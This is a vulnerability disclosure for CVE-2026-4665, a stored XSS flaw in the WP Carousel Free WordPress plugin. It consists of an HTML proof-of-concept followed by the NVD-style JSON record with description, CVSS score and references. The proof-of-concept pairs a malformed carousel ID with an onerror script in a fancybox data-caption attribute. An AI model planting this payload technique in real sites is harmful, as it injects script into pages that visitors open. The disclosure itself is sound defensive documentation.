CVE-2026-4665

<!-- PoC for CVE-2026-4665 --> <!-- Step 1: Create a block with a malformed ID (e.g., containing brackets) --> <!-- This causes the jQuery selector in fancybox-config.js to fail --> <div id="wpcf-carousel[malformed_id]" class="wpcf-gallery"> <!-- Step 2: Inject malicious script in data-caption --> <!-- When fancybox falls back to default, this renders as HTML --> <a href="https://example.com/image.jpg" data-fancybox="gallery" data-caption="<img src=x onerror=alert('CVE-2026-4665')>"> <img src="https://example.com/thumb.jpg" alt="Safe Image"> </a> </div>

{"cve": {"id": "CVE-2026-4665", "sourceIdentifier": "[email protected]", "published": "2026-05-05T04:16:17.687", "lastModified": "2026-05-05T19:08:20.090", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Carousel Free plugin for WordPress is vulnerable to Stored Cross-Site Scripting via crafted fancybox `data-caption` attributes in all versions up to, and including, 2.7.10. This is due to the `fancybox-config.js` script reading the carousel container's `id` attribute directly from the DOM to construct a jQuery selector without sanitization. When a Contributor crafts an HTML block with a malformed carousel container ID (containing characters invalid for jQuery selectors), the custom fancybox configuration throws a JavaScript error and fails to initialize. This causes the bundled fancybox library (v3.5.7) to fall back to its default caption handling, which renders the `data-caption` attribute content as raw HTML. Since WordPress allows `data-*` attributes through `wp_kses_post()`, this makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user clicks an image in the crafted carousel lightbox."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-carousel-free/tags/2.7.10/public/js/fancybox-config.js#L3", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-carousel-free/trunk/public/js/fancybox-config.js#L3", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3506878/wp-carousel-free/trunk/public/js/fancybox.js", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e75815a3-2414-47f3-b0c4-e5d3e2cb369d?source=cve", "source": "[email protected]"}]}}